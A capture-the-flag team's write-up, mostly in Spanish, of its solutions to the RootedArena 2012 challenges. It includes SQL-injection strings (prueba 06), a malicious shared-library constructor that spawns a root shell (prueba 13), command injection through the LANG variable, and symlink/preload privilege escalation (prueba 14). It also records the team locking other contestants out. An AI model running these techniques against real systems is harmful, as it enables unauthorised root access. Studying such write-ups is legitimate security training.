As you probably know, "int3pids" participated for the first time in this contest... and we won it! :-)
This year's challenges were not so mature and indeed there is a big chance for improvement for the next year. But it was still funny to solve some of them (others were a real PITA).
Now, the complete write-up follows...
Note #1: We presented it to the Organization in .pdf... and in Spanish. We had no time to translate into English (sorry!).
Note #2: Rules forced us to deliver the doc *before* the contest ended. So don't expect a very elaborated documentation.
Enjoy!
- - -
|
Rooted
Arena 2012
|
Informe
|
26 Febrero 2012
|
Introducción
Este informe
detalla el proceso de resolución de las pruebas del concurso RootedArena 2012 desarrollado
entre el 17 de Febrero de 2012 y el 26 de Febrero de 2012.
La información
disponible al principio del concurso consistía de una tabla con los datos de
acceso a las distintas pruebas. Para alguna de las pruebas era necesario
descubrir parte de los datos de acceso mientras que para otras toda la
información se proporcionaba desde un principio.
La tabla tal
cual se podía ver en el PDF entregado a los participantes se reproduce en la
siguiente imagen:
Desarrollo de las
pruebas
En esta
sección se describe el proceso de resolución de cada una de las pruebas
completadas durante el concurso. Para las pruebas no completadas, se
proporciona una breve descripción de las distintas aproximaciones realizadas.
Las pruebas se
encuentran listadas en base al número de prueba, y no al tiempo de resolución
de las mismas.
Prueba
00
Resolución
Realizando un
escaneo de la red obtenemos la siguiente lista de hosts activos:
Host
10.1.0.1 appears to be up.
Host 10.1.0.21 appears to be up.
Host 10.1.0.22 appears to be up.
Host 10.1.0.23 appears to be up.
Host 10.1.0.24 appears to be up.
Host 10.1.0.25 appears to be up.
Host 10.1.0.26 appears to be up.
Host 10.1.0.254 appears to be up.
Host 10.1.0.21 appears to be up.
Host 10.1.0.22 appears to be up.
Host 10.1.0.23 appears to be up.
Host 10.1.0.24 appears to be up.
Host 10.1.0.25 appears to be up.
Host 10.1.0.26 appears to be up.
Host 10.1.0.254 appears to be up.
Se puede ver
que el host 10.1.0.1 parece activo
pero no aparecía en el listado de máquinas de pruebas. Realizamos un escaneo de
puertos y descubrimos que en esta máquina se puede acceder a un servidor DNS.
Obteniendo información de la clase chaos
del DNS averiguamos el hostname ctf2012:
$ dig hostname.bind txt chaos @10.1.0.1 ; <<>> DiG 9.7.3 <<>> hostname.bind txt chaos @10.1.0.1 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19104 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;hostname.bind. CH TXT ;; ANSWER SECTION: hostname.bind. 0 CH TXT "ctf2012" ;; AUTHORITY SECTION: hostname.bind. 0 CH NS hostname.bind. ;; Query time: 39 msec ;; SERVER: 10.1.0.1#53(10.1.0.1) ;; WHEN: Sun Feb 26 22:02:33 2012 ;; MSG SIZE rcvd: 65
Seguidamente
obtenemos los datos asociados a este host:
$ dig ctf2012 ANY @10.1.0.1 ; <<>> DiG 9.7.3 <<>> ctf2012 ANY @10.1.0.1 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4997 ;; flags: qr aa rd; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;ctf2012. IN ANY ;; ANSWER SECTION: ctf2012. 604800 IN SOA localhost. root.localhost. 31338 604800 86400 2419200 604800 ctf2012. 604800 IN NS ns.ctf2012. ctf2012. 604800 IN TXT "prueba00 key=quite_clever_dns_is_useful" ;; ADDITIONAL SECTION: ns.ctf2012. 604800 IN A 10.1.0.1 ;; Query time: 42 msec ;; SERVER: 10.1.0.1#53(10.1.0.1) ;; WHEN: Sat Feb 25 16:26:24 2012 ;; MSG SIZE rcvd: 160
Clave
La clave para
obtener la puntuación de esta prueba es: quite_clever_dns_is_useful
Prueba
01
Resolución
Nos conectamos
vía SSH y nos movemos al directorio /home/ctf01. Allí encontramos un archivo
LEEME cuyo contenido es “La clave es el Password.”. Posteriormente, encontramos
un directorio con registros del sistema en /logs,
y analizando el contenido de los logs encontramos el siguiente texto:
Password: kLmmNooP0
Clave
La clave para
obtener la puntuación de esta prueba es: kLmmNooP0
Prueba
02
Resolución
Al acceder al home del usuario proporcionado nos encontramos
con 2 pcap y un archivo llamado cryptcat que se encuentra vacío y al
cual no podemos acceder. Descargamos los pcap
y analizamos el archivo llamado prueba2.cap.
Podemos ver una conexión con un intercambio de datos sobre TCP, que asumimos
está cifrada con cryptcat.
Tras varios
intentos de reproducir los datos y descifrarlos con cryptcat conseguimos el resultado con los siguientes comandos tras
extraer los datos del pcap al archivo
flujo:
$ cryptcat -k kLmmNooP0 -l -p 8000 > decrypted $ cat flujo | nc -v localhost 8000
Con esto
obtenemos un archivo PDF, que contiene el siguiente código JavaScript:
7 0 obj << /Type /Action /S /JavaScript /JS (app.alert(FileNM);app.alert({cMsg: 'This PDF was created using Didier Stevens tools. Challenge key is = [didiermola]', cTitle: 'RootedCON2012 CTF: makepdf 1_1 - PRUEBA2 MUY SIMPLE', nIcon: 3});) >> endobj
Clave
La clave para
obtener la puntuación de esta prueba es: didiermola
Prueba
03
Resolución
En el
directorio home del usuario ctf03 se
puede encontrar una imagen de 512MB. Al descargarla y hacer un strings se puede comprobar que se trata
de un sistema de ficheros, pero que al intentar montarlo falla puesto que la
imagen está corrupta.
Tras varios
intentos de recuperar el sistema de ficheros con Testdisk, para intentar conseguir un archivo potencialmente
interesante que aparece al hacer strings
(aparece la siguiente ruta /home/AAAAAA/CTF2012/AAA/AAAAA/AAAA/rooted.txt),
decidimos simplemente seguir analizando la salida de strings.
Tras un tiempo
mirando cadenas sin sentido, aparecen las siguientes frases:
las coordenadas están en los ficheros.
you can find coordinates into the files.
you can find coordinates into the files.
Tras esto,
pasamos foremost en busca de algún
fichero que pueda contener coordenadas. Las primeras ideas apuntan a ficheros JPEG con las coordenadas en los
metadatos EXIF. Sin embargo, este camino parece llevar a ninguna parte. Entre
los archivos recuperados con foremost
aparecen dos archivos wav, cuyo
contenido consiste claramente de tonos DMTF.
Tras
decodificarlos, obtenemos los siguientes valores: 51594744 y 00443394. Lo
siguiente es jugar con Google Maps y
varias combinaciones de estos números. Tras varias pruebas que nos llevan al
medio del océano y a partes que no nos dicen nada, llegamos al siguiente punto:
Cómo se puede
observar en el mapa se trata de Bletchley
Park, localización famosa por su utilización por la inteligencia aliada
durante la II Guerra Mundial como centro de criptoanálisis.
Clave
La clave para
obtener la puntuación de esta prueba es: Bletchley Park
Prueba
04
Resolución
Tras acceder
al home del usuario, podemos ver un shell script con nombre sender.
Analizando el script, vemos que extrae un fichero XML de él. Extrayendo dicho
fichero con uudecode obtenemos los
siguientes datos:
ctf04 ppLggd099 R3Sti 1 md5
Probamos
varias combinaciones de esta información cómo md5(time + seed + pass), md5(seed+pass+time), etc. Hasta dar con md5(pass+seed) que nos da el token
correcto.
Clave
La clave para
obtener la puntuación de esta prueba es: 9073a59977303ebdfea39302f407cc6e
Prueba
05
Resolución
La contraseña
de acceso al servidor SSH para el usuario ctf05
resulta ser el mismo password obtenido en el archivo XML de la prueba 04. Tras
acceder al SSH encontramos un APK con una aplicación Android a reversear en
/usr/CTF/prueba05/crackme2.apk.
Mediante dex2jar convertimos el apk en jar y
procedemos a decompilarlo usando JD-GUI.
Con esto, podemos ver que la aplicación contiene un receptor de SMSs cuyo
acceso parece ser protegido por una clave.
Analizando la
clase SMSReceiver vemos que en primer lugar valida los SMS recibidos usando
TDES para descifrar valores obtenidos de los recursos del APK. Una vez validado
el SMS, se inicia la clase KeyScreen, que pide una clave y la valida de una
forma similar.
Finalmente,
cuando esta clave es correcta se llama a CrackmeDone, que a su vez descifra la
clave final desde los recursos del APK. Puesto que no se disponía del entorno de ejecución de Android cuando se realizó la
prueba, se decidió resolverla estáticamente.
El código que muestra la clave final es el siguiente:
package com.android.crackme; import android.app.Activity; import android.content.res.Resources; import android.os.Bundle; import android.widget.TextView; import com.chilkatsoft.a; public class CrackmeDone extends Activity { public void onCreate(Bundle paramBundle) { super.onCreate(paramBundle); setContentView(2130903042); TextView localTextView = (TextView)findViewById(2131034115); a locala = new a(); if (!locala.g("Belén Esteban, prinsesa der pueblo0o0h!")); while (true) { return; locala.d("3des"); locala.f("cbc"); locala.b(); locala.a(); locala.c("hex"); locala.e("md5"); locala.b(getResources().getString(2130968579), "hex"); locala.a(locala.b(getResources().getString(2130968580)), "hex"); String str = locala.a(getResources().getString(2130968581)); localTextView.setText("" + str + "\n"); } } }
Para reproducir dicho
código, se utilizó el siguiente script Python para obtener la clave final,
utilizando las mismas librerías criptográficas usadas por el crackme. Antes de
ello, necesitamos extraer las cadenas de los recursos y averiguar qué cadena
pertenece a cada parámetro numérico utilizado en el código. Para ello usamos apktool:
import sys import chilkat import binascii def mdecode (str): out = "" for e in str: out = out + chr( (ord(e)-32+47)%94 + 32) return out crypt = chilkat.CkCrypt2() success = crypt.UnlockComponent("Anything for 30-day trial.") if (success != True): print "Crypt component unlock failed" sys.exit() # Specify 3DES for the encryption algorithm: crypt.put_CryptAlgorithm("3des") crypt.put_CipherMode("cbc") crypt.put_KeyLength(192) crypt.put_PaddingScheme(0) crypt.put_EncodingMode("hex") crypt.put_HashAlgorithm("md5") keyAscii = "000102030405060708090A0B0C0D0E0F0001020304050607" ivAscii = "0001020304050607" crypt.SetEncodedIV(ivAscii,"hex") crypt.SetEncodedKey(crypt.hashStringENC(keyAscii),"hex") encStr = "5C2259CE34701A6C79FE3E054197344D14C8817DDE225A74333EC66D6D45F41141AE9B5264A036EA4C4510D6F3DC27D5" # Now decrypt: decStr = crypt.decryptStringENC(encStr) print decStr
Una
vez ejecutado, el resultado es el siguiente:
Here you have your key:
c4r4c0l3s_3n_pr1m4v3r4!
Además de
esta clave final, también desciframos las otras cadenas mediante scripts
similares por si fuesen útiles para otras pruebas. El resultado de descifrar
las otras dos cadenas es el siguiente:
chuck_n0rr1s_t0d0p0d3r0s0
ch4ll3ng3_s0lv3d?_n0p3_1s_chuck_t3st4
ch4ll3ng3_s0lv3d?_n0p3_1s_chuck_t3st4
Para
estas últimas hubo que sacar el código de la clase CipherAlgorithm mediante
baksmali, puesto que JD-GUI no lo reconstruye correctamente. El código obtenido con baksmali es el siguiente:
:goto_0 if-lt v0, v3, :cond_0 invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 return-object v0 :cond_0 aget-char v4, v2, v0 add-int/lit8 v4, v4, -0x20 add-int/lit8 v4, v4, 0x2f rem-int/lit8 v4, v4, 0x5e add-int/lit8 v4, v4, 0x20 int-to-char v4, v4 invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder; add-int/lit8 v0, v0, 0x1 goto :goto_0
Que
implementado en Python queda como sigue:
def mdecode (str): out = "" for e in str: out = out + chr( (ord(e)-32+47)%94 + 32) return out
Clave
La clave para
obtener la puntuación de esta prueba es: c4r4c0l3s_3n_pr1m4v3r4!
Prueba
06
Resolución
Tras escanear
la IP proporcionada ( 10.1.0.23 ) obtenemos la siguiente lista de servicios
abiertos:
$ nmap scan report for 10.1.0.23 Host is up (0.036s latency). Not shown: 1017 closed ports PORT STATE SERVICE 22/tcp open ssh 47/tcp open ni-ftp 80/tcp open http 81/tcp open hosts2-ns 86/tcp open mfcobol 87/tcp open priv-term-l 88/tcp open kerberos-s
Además, el
fichero otraprueba.pcap obtenido en
la prueba 02 nos proporciona información sobre el servicio en el puerto 80 de
esta máquina. Tras analizar las capturas, creamos un script en python para
pasar valores arbitrarios (incluyendo imágenes con texto creadas con convert de ImageMagick) al servicio.
El servicio
responde en ocasiones detectando la imagen, y en otras ocasiones con CODE IS INVALID. Además, la máquina
sufre problemas continuos resultando en inaccesibilidad al servicio, bien por
problemas de conexión o por errores tipo Internal
Server Error.
Cambiando los
valores en la imagen por otros valores intentando buscar inyecciones SQL,
obtenemos el siguiente error usando el texto 000000’ /* AA:
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws"> <s-gensym3 xsi:type="xsd:string">ERROR SQL 4097 OR PARSE ERROR </s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>
Además, también obtenemos otro error
SQL distinto al pasar cadenas como 000001´OR
1=1 /*:
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws"> <s-gensym3 xsi:type="xsd:string">ERROR SQL 4098: SELECT QUERY FAILED ON [000001] </s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>
En cambio,
realizando ligeros cambios en la sentencia obtenemos resultados que parecen
incoherentes: la petición es aceptada perfectamente y nuestra cadena es
devuelta por el servicio o el parse error
anterior es devuelto.
Esto nos lleva
a pensar que no hay un servidor SQL real detrás del servicio. Tras varias
pruebas más y paciencia probando con UNION SELECT´s con valores distintos,
llegamos a la combinación mágica:
000000\' UNION
SELECT \'1\' ,
\'1\' , \'1\' /*
Utilizando
este texto en la imagen recibimos la siguiente respuesta:
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><namesp1:plateResponse xmlns:namesp1="urn:ws"><s-gensym3 xsi:type="xsd:string">31337OWNED </s-gensym3></namesp1:plateResponse></soap:Body></soap:Envelope>
Como se puede
observar, no hay en ningún momento referencias a campos conteniendo la clave ni
nada similar. Con una sentencia así, uno esperaría obtener campos con valor 1
en el resultado en lugar de una clave tal cual.
Esto lleva a
la conclusión de que no hay motor SQL detrás de la prueba sino una serie de
comprobaciones sobre la cadena obtenida tras el paso por el OCR.
Clave
La clave para
obtener la puntuación de esta prueba es: 31337OWNED
Prueba
07
Resolución
De nuevo un
servicio en la máquina maldita. Esta vez
se trata del puerto 81, que indica ser un Roxen
Web Server 0.99.19B. Además del 81, este servicio estaba corriendo en otros
puertos como el 86, 87 y 88, aunque aparentemente era el mismo servicio puesto
que cuando caía uno caían todos.
Al hacer una petición GET
al servicio, se obtiene un error HTTP 401 Unauthorized:
UTCDate: Sat Feb 25 14:04:08 UTC 2012 HTTP/1.1 401 Unauthorized Date: Sat, 25 Feb 2012 14:04:08 GMT Server: Roxen Web Server 0.99.19B Content-Type: text/html Content-Length: 59 <title>401 Unauthorized</title> <h1>401 Unauthorized</h1>
En este caso,
hasta que no aparecen las pistas no sabemos muy bien por dónde tirar. Aunque se
realizaron pruebas con métodos HTTP inválidos (ver http://www.kernelpanik.org/docs/kernelpanik/bme.esp.pdf como referencia a estos métodos para
saltarse la autenticación HTTP) en ningún caso se prueba con GETT puesto que
los ataques conocidos funcionan con cualquier método.
Tras conocer
la pista de que GETT es el método a
utilizar, aparentemente arbitrario, intentamos obtener listados de directorios
de diversas formas. Al final probamos con GETT
/key obteniendo la clave correcta:
$ echo -en "GETT /key\n\n" | nc 10.1.0.23 81 UTCDate: Sat Feb 25 14:01:49 UTC 2012 Key=UNDESAFIOTRIVIAL
Clave
La clave para
obtener la puntuación de esta prueba es: UNDESAFIOTRIVIAL
Prueba
08
Resolución
La prueba 08
está otra vez albergada en la máquina
maldita, con lo cual no podemos acceder a ella durante bastante parte del
reto. Tras conocer mediante las pistas que existen datos necesarios para la
prueba 08 en la prueba 07, empezamos a probar más métodos de obtener listados
de directorios:
.DS_Store, .listing, .listingX, etc. Finalmente damos con un
listado en files que contiene lo
siguiente:
$ echo -en "GETT /files\n\n" | nc 10.1.0.23 81 FILES <this> LEEME 3b33cdb923442b126b516e61d770179f prueba08.ctf2012 http://prueba08.ctf2012:81/tok/<tokenvalue> seed.eid 4df041ef22f0aa49d41e85dae32b3aad RTDToken.7z 4bd1472270ba572d3d81c2cd244717e7 k?????????????????????????????????????????????????????b8
Aunque no
podemos bajar el archivo 7z, al
conectar al IRC vemos que el mismo está en el topic para poder descargarlo
desde https://arena2012.rootedcon.es/pruebas/RTDToken.7z. Tras descargarlo y ejecutarlo,
metemos el PIN que ya hemos obtenido del ZIP de la prueba 12 (mediante fuerza
bruta).
Con dicho PIN,
obtenemos un token que utilizamos para hacer una petición al mismo servicio de
la prueba 07. El resultado es el siguiente:
$ echo -en "GETT /tok/9F652850\n\n" | nc 10.1.0.23 81 TOKEN_OK: 9F652850 PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
Luego nos damos cuenta que con cualquier token nos está dando la clave
correcta. Para comprobar esto y que no se trata de un error por nuestra parte,
entramos en la máquina bastilla1 en
la cual ya disponemos de acceso root
y un binario con netcat.
Desde allí
lanzamos la petición con un token puesto a ZZZZZZZZ varias veces. Aunque no
siempre nos da la clave, sí que lo hace en varias ocasiones:
root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81 YOURTOKEN: ZZZZZZZZ root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81 YOURTOKEN: ZZZZZZZZ root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81 YOURTOKEN: ZZZZZZZZ root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81 YOURTOKEN: ZZZZZZZZ root@bastilla1:~# root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81 TOKEN_OK: ZZZZZZZZ PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81 TOKEN_OK: ZZZZZZZZ PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS root@bastilla1:~# echo -en "GETT /tok/ZZZZZZZZ\n\n" | ./nc 10.1.0.23 81 TOKEN_OK: ZZZZZZZZ PRUEBA08_KEY: IWASMADEWITHSTOLENSEEDS
Esto nos
indica que el token aparentemente no es necesario, o que lo devuelve
correctamente durante buena parte del tiempo siempre que la longitud sea la
correcta.
Clave
La clave para
obtener la puntuación de esta prueba es: IWASMADEWITHSTOLENSEEDS
Prueba
09
Resolución
Analizando el texto
cifrado vemos cadenas que se repiten como "pobrovWmviB". Haciendo
búsquedas en Google por algunas de ellas (de diferentes tamaños) llegamos a la
página: http://easyciphers.com/
Allí nos llama la atención el cifrado "Affine". Tras documentarnos, buscamos una manera de romper este cifrado. Necesitamos obtener los parámetros "a" y "b". Hay 312 claves (combinaciones) posibles, no es mucho, pero necesitamos alguna herramienta como "Norse Cryptanalysis Tools". Funciona introduciendo una cadena que creamos debe existir en el texto en claro (ej: "the" en textos en inglés) y te devuelve las combinaciones de "a" y "b" que producen la cadena anterior en el texto sin cifrar. En nuestro caso utilizamos "porque" (cifrado: czifrv).
Una vez obtenidos los valores de "a" y "b" apropiados (a=3, b=9), podemos descifrar el texto con la herramienta anterior o por ejemplo con esta otra que tenemos online:
http://rumkin.com/tools/cipher/affine.php
Allí nos llama la atención el cifrado "Affine". Tras documentarnos, buscamos una manera de romper este cifrado. Necesitamos obtener los parámetros "a" y "b". Hay 312 claves (combinaciones) posibles, no es mucho, pero necesitamos alguna herramienta como "Norse Cryptanalysis Tools". Funciona introduciendo una cadena que creamos debe existir en el texto en claro (ej: "the" en textos en inglés) y te devuelve las combinaciones de "a" y "b" que producen la cadena anterior en el texto sin cifrar. En nuestro caso utilizamos "porque" (cifrado: czifrv).
Una vez obtenidos los valores de "a" y "b" apropiados (a=3, b=9), podemos descifrar el texto con la herramienta anterior o por ejemplo con esta otra que tenemos online:
http://rumkin.com/tools/cipher/affine.php
Clave
La clave para
obtener la puntuación de esta prueba es: Alonso Quijano
Prueba
10
Resolución
Basándonos en la última pista publicada, obtenemos el texto descifrado ejecutando:$ openssl enc -d -des -in prueba10.bin -k 2102NOCdetooR -out descifrado.txt
Clave
La clave para
obtener la puntuación de esta prueba es: 2102NOCdetooR
Prueba
11
Resolución
Esta prueba no se llegó a resolver durante el concurso. Desde que supimos que se trataba de una máquina enigma tras recibir la primera pista, empezamos a realizar fuerza bruta con una herramienta de Didier Stevens ligeramente modificada.
Por
alguna razón, no pudimos identificar nada coherente en la salida de la
herramienta. Tras ver las últimas pistas, ahora mismo se podría resolver
utilizando un simple script de perl y el módulo Crypt::Enigma obtenido desde CPAN,
haciendo una pequeña fuerza bruta de un número reducido de opciones.
Clave
Esta prueba no se llegó a resolver durante el concurso.
Prueba 12
Resolución
El primer día obtuvimos
por fuerza bruta la contraseña del fichero ZIP (03133700) y probamos sin éxito
con varias herramientas de esteganografía, pero no logramos dar con la solución
hasta la publicación de la última pista. Vimos un bloque sospechoso a partir
del offset 496 del fichero descomprimido (1.avi), que resultó ser el texto
“SUIT UP?” codificado con EBCDIC. Sin embargo, el último carácter (0xBB) no
decodificaba correctamente y en principio no tiene equivalente en dicha
codificación, por lo que probamos algunas variantes hasta dar con la solución
final.
Clave
La clave para obtener la puntuación de esta prueba es: SUIT UP!
Prueba 13
Resolución
Tras probar
varias de las claves obtenidas en otros niveles, logramos acceder al usuario bastilla1 con la clave del nivel 0,
quite_clever_dns_is_useful. Analizando la máquina observamos que existe un
directorio /CTF con el siguiente contenido:
bastilla1@bastilla1:/CTF$ ls -la total 20 drwxr-xr-x 3 root root 4096 Feb 24 01:33 . drwxr-xr-x 21 root root 4096 Feb 19 13:20 .. drwx------ 2 bastilla2 bastilla2 4096 Feb 20 01:44 plugins --ws--s--x 1 root root 5832 Jan 28 01:27 restme
Se puede
observar un binario con setuid root,
que es claramente el objetivo de la prueba. Al ejecutar el binario se obtiene
la siguiente salida:
[RootedCON 2012 Challenges] Starting RESTME process... [*] Executing validation checks: ....... [*] Running... PLUGIN=[/CTF/plugins/libctf.so.0] [RES] Valx=1 [RES second stage] Valx=2
Podemos ver
que el binario carga una librería compartida del directorio plugins, que pertenece al usuario bastilla2. Este usuario no es accesible
vía SSH como podemos observar en el fichero /etc/passwd:
bastilla2:x:1001:1001:Bastilla
2,,,:/CTF/plugins:/bin/false
Puesto que
mediante un escaneo de puertos habíamos determinado que existía un servidor FTP
en el puerto 21, intentamos acceder con el usuario bastilla2 y diversos passwords. Al intentar con bastilla2 conseguimos acceso al FTP.
Intentando
pasar distintos parámetros al binario nos damos cuenta que el número utilizado
en el nombre de la librería cambia con el primer carácter del primer parámetro.
Con esto, y mediante el acceso FTP al directorio de plugins, subimos un fichero
compartido con un constructor que ejecuta una shell:
#include <stdio.h> static void __attribute__((constructor)) my_init(void) { setreuid(0,0); unlink("/home/eleva4/PWNED]"); execl("/bin/bash","bash",(char *)0); }
Tras compilar
y subir este archivo como libctf.so.1
y ejecutar el binario con el parámetro 1 conseguimos la shell de root:
bastilla1@bastilla1:/CTF$ ./restme 1 [RootedCON 2012 Challenges] Starting RESTME process... [*] Executing validation checks: ............ [*] Running... PLUGIN=[/CTF/plugins/libctf.so.1] bash-4.1# cat KEY L33TDYNLOADING
Tras obtener
este acceso, cambiamos el password de root y de los demás usuarios de la
máquina, cerramos cualquier conexión SSH abierta por otros usuarios y borramos
la librería utilizada para elevar privilegios.
Clave
La clave para
obtener la puntuación de esta prueba es: L33TDYNLOADING
Prueba
14
Resolución
De nuevo conectamos
a la máquina objetivo mediante el uso del usuario bastilla2 y el password obtenido como solución a la prueba 00. A
partir de ahí, buscamos binarios con los flags setuid activos que podamos ejecutar con este usuario. El primero
que llama la atención es el siguiente archivo:
-rwsr-sr-x 1 eleva1
eleva1 3104 Feb 3 23:10
/usr/include/lct/.. /eleva
Al ejecutarlo
obtenemos automáticamente acceso shell con el usuario eleva1. Esto nos indica que ahora toca buscar elevar privilegios a eleva2. Si nos movemos al home del usuario nos encontramos con un
fichero eleva2 que de nuevo nos
permitirá elevar privilegios:
---s--s--x 1 eleva2
eleva2 3880 Feb 3 23:48 eleva2
Buscando por
la máquina también encontramos unos templates en /usr/share/eleva que parecen
variar con el lenguaje utilizado y contienen los datos mostrados por eleva2 por pantalla. Intentamos inyectar
comandos en la variable de entorno LANG para ver si el programa no la sanitiza
correctamente al utilizarla:
eleva1@bastilla2:~$ LANG=";id;" ./eleva2 aa Hola / Hello aa cat: /usr/share/eleva/: Is a directory uid=1001(eleva1) gid=1001(eleva1) euid=1002(eleva2) egid=1002(eleva2) groups=1002(eleva2),1001(eleva1) sh: /template: No such file or directory
Por tanto,
podemos ejecutar comandos como el usuario eleva2.
Esto nos permite obtener el password del usuario:
eleva1@bastilla2:~$ LANG=";cat /home/eleva2/PASSWD;" ./eleva2 aa Hola / Hello aa cat: /usr/share/eleva/: Is a directory avanzandofuerte sh: /template: No such file or directory eleva1@bastilla2:~$
En este punto,
nos damos cuenta que el binario nmap
con suid del usuario eleva4 es ejecutable por cualquier
usuario de la máquina. Por tanto, decidimos centrarnos en dicho binario en
lugar de explotar eleva3. Tras buscar
por vulnerabilidades de la versión de nmap en cuestión, encontramos que
ejecutando el siguiente comando podemos obtener el password del usuario eleva4:
eleva1@bastilla2:~$ nmap -iL /home/eleva4/PASSWD localhost Starting Nmap 5.00 ( http://nmap.org ) at 2012-02-19 21:17 MSK Failed to resolve given hostname/IP: muyhabilinteractivo. Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 0.08 seconds
Tras acceder
como eleva4, decidimos sobrescribir
el binario nmap para que cualquier
usuario que no haya accedido a dicho nivel todavía no sea capaz de hacerlo.
Seguidamente encontramos el siguiente archivo:
$ ls /usr/ARENA/eleva44.pl -l -r-s--x--x 1 root root 1703 Feb 18 00:13 /usr/ARENA/eleva4.pl
Este binario
es lanzado vía cron cada 5 minutos,
como se puede observar en el cron.log:
Feb 20 03:35:01
bastilla2 /USR/SBIN/CRON[29700]: (root) CMD (/usr/ARENA/eleva4.pl)
Analizando el
home del usuario eleva4 observamos
que el fichero status.log contiene la
salida del script perl anterior. Aunque no conocemos el código, podemos
observar que dichos datos vienen del servicio 10.1.0.23:47, puesto que contiene
líneas como las siguientes:
OK in exec: [logger 1329693938 Remote service 47
checked OK]
Puesto que
podemos controlar el fichero status.log eliminándolo o creando uno nuevo, y el
programa lo abre como root y añade
líneas a éste, en un primer momento decidimos reemplazarlo por un enlace
simbólico a /etc/ld.so.preload. De
esta forma esperamos poder cargar una librería con nombre OK en cualquier fichero que se ejecute en el sistema, y de ahí
escalar privilegios mediante cualquier binario setuid.
Sin embargo,
esto no funciona puesto que aún no controlamos los datos escritos, y el mecanismo
de preloading mediante este archivo
requiere que se proporcionen rutas absolutas. Seguidamente, observamos unos
ficheros aux.XXX en /tmp con el siguiente contenido:
Con esto,
decidimos eliminar todos los ficheros aux.XXX
y crear enlaces simbólicos a un fichero controlado por nosotros en el
directorio /home/eleva4. En este
fichero escribimos la IP de la máquina bastilla1
que ya controlamos, y ponemos un netcat
a enviar respuestas a cualquier petición con este contenido:
HTTP/1.1 200 OK Date: Sun, 19 Feb 2012 22:02:32 GMT Server: Apache Last-Modified: Wed, 08 Feb 2012 13:30:48 GMT ETag: "3820abc-c-4b873e74a5200" Accept-Ranges: bytes Content-Length: 28 Vary: Accept-Encoding Content-Type: text/html STATUS = /home/eleva4/PWNED
Una vez hecho
esto, esperamos a que se lance el proceso mediante cron y observamos que ahora todos los procesos intentan cargar
dicha librería. Entonces creamos la librería con el mismo código usado en la
prueba de bastilla1 y ejecutamos un
binario suid root (ping) para obtener root.
sh-4.1# cat KEY HEAVYLOCALLOLCAT
De nuevo, una
vez obtenido acceso root, cambiamos
todos los passwords y modificamos los ficheros con claves en la máquina.
Echamos a cualquier usuario conectado en este punto y nos aseguramos acceso
continuado a la máquina durante el resto del concurso por si fuese necesario.
Clave
La clave para
obtener la puntuación de esta prueba es: HEAVYLOCALLOLCAT
Prueba
15
Resolución
Con las pistas
obtenidas y la información encontrada en el archivo LEEME~ en la prueba 07, intentamos probar el par arenahip:arenahop como usuario y
contraseña para la máquina 10.1.0.23 vía SSH. Enseguida nos damos cuenta que el
acceso está cerrado, probablemente mediante el uso de /bin/false como shell.
Sin embargo,
tras una rápida búsqueda en google, se puede comprobar que dicha protección
sigue permitiendo realizar port
forwarding. Por tanto, en un terminal ejecutamos la siguiente línea de
comandos para redirigir el puerto 4000 local al puerto ssh de la máquina
10.1.0.27:
$ ssh -L 4000:10.1.0.27:22 arenahip@10.1.0.23 -vN
Seguidamente,
conectamos a dicha máquina con otra terminal y los mismos datos de acceso:
$ ssh arenahip@localhost -p 4000 arenahip@localhost's password: Last login: Fri Feb 24 00:33:08 2012 from 10.1.0.23 arenahip@prueba15:~$ ls KEY arenahip@prueba15:~$ cat KEY KEY=BOUNCIN'JACKFLASH arenahip@prueba15:~$
Clave
La clave para
obtener la puntuación de esta prueba es: BOUNCIN'JACKFLASH
Conclusiones
